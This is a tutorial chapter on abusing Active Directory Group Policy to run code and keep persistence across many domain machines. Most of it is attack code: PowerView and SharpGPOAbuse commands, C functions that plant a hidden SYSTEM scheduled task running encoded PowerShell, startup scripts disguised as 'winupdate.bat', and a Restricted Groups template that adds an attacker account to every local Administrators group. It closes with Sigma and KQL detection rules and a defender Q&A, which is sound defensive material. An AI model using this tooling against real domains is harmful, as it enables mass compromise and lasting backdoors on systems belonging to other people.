Group Policy Abuse and Persistence
Group Policy Objects control the configuration of every domain-joined machine in scope. An account with write access to a GPO can push code execution, registry persistence, logon scripts, and Restricted Groups changes to hundreds of machines simultaneously — with the changes delivered by the domain infrastructure itself, using normal Windows traffic on port 445. This chapter covers GPO enumeration, creating a malicious Scheduled Task via GPO, logon script abuse, and Restricted Groups backdoors.
BloodHound identifies that your compromised account has GenericWrite over the "Workstation-Security-Baseline" GPO, which is linked to an OU containing 280 developer workstations. You modify the GPO to add an Immediate Scheduled Task that runs your beacon stager as SYSTEM. At the next Group Policy refresh interval (every 90 minutes by default), all 280 machines silently install and execute the stager. You now have 280 SYSTEM sessions without touching a single target manually.
GPO Architecture
Enumerating Writable GPOs
# PowerView (PowerShell) — find GPOs where current user has write rights:
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "Write|GenericAll|GenericWrite" -and
$_.SecurityIdentifier -eq (Get-DomainUser $env:USERNAME).ObjectSID
}
# SharpGPOAbuse (C#) — enumerate and exploit in one step:
SharpGPOAbuse.exe --AddComputerTask --TaskName "UpdateCheck" \
--Author "NT AUTHORITY\SYSTEM" \
--Command "cmd.exe" \
--Arguments "/c powershell.exe -enc <base64>" \
--GPOName "Default Domain Policy"
# Manual check: can we write to a GPO's SYSVOL path?
$gpos = Get-GPO -All
foreach ($gpo in $gpos) {
$path = "\\$env:USERDNSDOMAIN\SYSVOL\$env:USERDNSDOMAIN\Policies\{$($gpo.Id)}\Machine"
try {
[System.IO.Directory]::GetAccessControl($path) | Out-Null
# Check if current user has write rights
$acl = Get-Acl $path
$acl.Access | Where { $_.FileSystemRights -match "Write" -and
$_.IdentityReference -match $env:USERNAME }
} catch {}
}
GPO Immediate Task — Mass Code Execution
// Create a Scheduled Task via GPO Preferences XML:
// File: \\dc01\SYSVOL\corp.local\Policies\{GUID}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
// After writing XML, increment GPT.INI version to force re-processing on all clients.
// ScheduledTasks.xml format for an Immediate Task (runs once at next GP refresh):
const char* TASK_XML =
"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
"<ScheduledTasks clsid=\"{CC63F200-7309-4ba0-B154-A0CE23105CE8}\">\n"
" <ImmediateTaskV2 clsid=\"{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}\"\n"
" name=\"WinUpdate\" image=\"0\" changed=\"2024-01-01 00:00:00\"\n"
" uid=\"{12345678-1234-1234-1234-123456789ABC}\">\n"
" <Properties action=\"C\" name=\"WinUpdate\"\n"
" runAs=\"NT AUTHORITY\\System\" logonType=\"S4U\">\n"
" <Task version=\"1.3\">\n"
" <Actions Context=\"LocalSystem\">\n"
" <Exec>\n"
" <Command>cmd.exe</Command>\n"
" <Arguments>/c powershell.exe -nop -w hidden -enc <PAYLOAD_BASE64></Arguments>\n"
" </Exec>\n"
" </Actions>\n"
" </Task>\n"
" </Properties>\n"
" </ImmediateTaskV2>\n"
"</ScheduledTasks>";
BOOL WriteGpoTask(const char* gptPath, const char* xmlContent) {
char tasksDir[MAX_PATH], tasksFile[MAX_PATH];
sprintf_s(tasksDir, MAX_PATH,
"%s\\Machine\\Preferences\\ScheduledTasks", gptPath);
CreateDirectoryA(tasksDir, NULL);
sprintf_s(tasksFile, MAX_PATH, "%s\\ScheduledTasks.xml", tasksDir);
HANDLE hFile = CreateFileA(tasksFile, GENERIC_WRITE, 0,
NULL, CREATE_ALWAYS, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return FALSE;
DWORD written;
WriteFile(hFile, xmlContent, (DWORD)strlen(xmlContent), &written, NULL);
CloseHandle(hFile);
// Increment GPT.INI version number to trigger re-processing:
char gptIni[MAX_PATH];
sprintf_s(gptIni, MAX_PATH, "%s\\GPT.INI", gptPath);
// Read current version, increment by 1, rewrite
// Version format: [General]\nVersion=XXXXXXXX\n
// where XXXXXXXX = user_version*65536 + machine_version
printf("[+] GPO task written. Next GP refresh will execute payload on all targets.\n");
return TRUE;
}
GPO Logon Script Persistence
// Logon scripts are more persistent than Immediate Tasks (which run once).
// They execute at every user logon. File stored in SYSVOL — delivered by DC.
// Machine\Scripts\Startup\: runs at machine startup as SYSTEM
// User\Scripts\Logon\: runs at user logon as the user
// Add a startup script via GPO:
// 1. Copy script to \\DC01\SYSVOL\...\{GUID}\Machine\Scripts\Startup\
// 2. Edit scripts.ini: [Startup]\n0CmdLine=beacon.bat\n0Parameters=\n
void AddGpoStartupScript(const char* gptPath, const char* scriptContent) {
char scriptsDir[MAX_PATH], scriptFile[MAX_PATH], iniFile[MAX_PATH];
sprintf_s(scriptsDir, MAX_PATH,
"%s\\Machine\\Scripts\\Startup", gptPath);
CreateDirectoryA(scriptsDir, NULL);
// Write the script
sprintf_s(scriptFile, MAX_PATH, "%s\\winupdate.bat", scriptsDir);
HANDLE hF = CreateFileA(scriptFile, GENERIC_WRITE, 0,
NULL, CREATE_ALWAYS, 0, NULL);
DWORD w; WriteFile(hF, scriptContent, (DWORD)strlen(scriptContent), &w, NULL);
CloseHandle(hF);
// Write scripts.ini referencing the script
sprintf_s(iniFile, MAX_PATH, "%s\\scripts.ini", scriptsDir);
const char* ini = "[Startup]\n0CmdLine=winupdate.bat\n0Parameters=\n";
hF = CreateFileA(iniFile, GENERIC_WRITE, 0,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
WriteFile(hF, ini, (DWORD)strlen(ini), &w, NULL);
CloseHandle(hF);
printf("[+] Startup script added to GPO — executes at next machine boot.\n");
}
Restricted Groups — Local Admin Backdoor
// GPO Restricted Groups: force a specific set of accounts into a local group on all targets.
// Adding an attacker-controlled account to the local Administrators group via GPO:
// File: Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
// This is a security template applied by the Security Configuration Engine (SCE)
const char* RESTRICTED_GROUPS_INF =
"[Unicode]\nUnicode=yes\n"
"[Version]\nRevision=1\nsignature=\"$CHICAGO$\"\n"
"[Group Membership]\n"
"*S-1-5-32-544__Memberof=\n" // S-1-5-32-544 = local Administrators
"*S-1-5-32-544__Members=*S-1-5-21-DOMAIN-ATTACKER_RID\n"
// ↑ Replace with attacker account SID — will be added to local Admins on every machine
;
// Alternative: GptTmpl.inf __Members appends to existing members (replace = replaces all)
// __Memberof controls which groups the specified group is member OF (reverse direction)
Detection Engineering
title: GPO SYSVOL Modification — Policy File Written by Non-Admin
logsource:
product: windows
category: file_event # Sysmon 11
detection:
selection:
TargetFilename|contains: '\SYSVOL\'
TargetFilename|endswith:
- '\ScheduledTasks.xml'
- '\scripts.ini'
- '\GptTmpl.inf'
- '\Registry.xml'
filter_legit:
Image|endswith:
- '\mmc.exe'
- '\gpedit.exe'
condition: selection AND NOT filter_legit
level: high
tags: [attack.persistence, T1484.001]
title: GPO Version Increment Without GPMC Tool
logsource:
product: windows
category: file_event
detection:
selection:
TargetFilename|endswith: '\GPT.INI'
filter_legit:
Image|endswith: '\mmc.exe'
condition: selection AND NOT filter_legit
level: high
-- MDE KQL: scheduled task created via GPO that runs as SYSTEM with encoded command
DeviceProcessEvents
| where InitiatingProcessFileName =~ "taskeng.exe"
OR InitiatingProcessFileName =~ "svchost.exe"
| where ProcessCommandLine has "-enc"
| where ProcessCommandLine has_any ("powershell", "cmd.exe")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AccountName
Q&A
How does a defender audit whether any GPOs in the environment have been maliciously modified, and what makes this hard at scale?
The authoritative audit source for GPO tampering is the SYSVOL file system combined with AD object change events. The fundamental challenge is that SYSVOL is a DFS-replicated share: every Domain Controller has a copy, and changes replicate asynchronously. This means a file written to one DC's SYSVOL appears on all DCs within minutes, and attributing which DC received the original write requires either network-level logging (packet capture on SYSVOL writes) or file-level auditing on every DC simultaneously.
Practical audit approaches: (1) GPT.INI version baseline: record the version number of every GPO's GPT.INI at a known-good state. An unexpected version increment without a corresponding change in the GPMC audit log (Event 5136 on the GPO AD object) is a strong indicator of direct file-system modification. (2) SYSVOL file integrity monitoring: deploy FIM (File Integrity Monitoring) on the SYSVOL path on all DCs. Alert on creation or modification of ScheduledTasks.xml, scripts.ini, GptTmpl.inf, or Registry.xml by any process other than mmc.exe or GPMC. (3) AD object auditing on CN=Policies: Event 5136 captures modifications to GPO AD objects (version numbers, links, display names). Enable "Audit Directory Service Changes" and filter on the Policies container. (4) Compare against source control: organizations that manage GPOs via code (AGPM, PowerShell DSC for GPOs, or git-backed templates) can diff the live SYSVOL against the known-good committed state. The scale problem: in a large environment, hundreds of GPOs exist, each with dozens of files. Baseline-diff approaches require reliable storage of those baselines and tooling to parse and compare them. Most organizations don't have this and rely entirely on AD object change auditing, which misses direct SYSVOL writes that don't touch the AD object version numbers.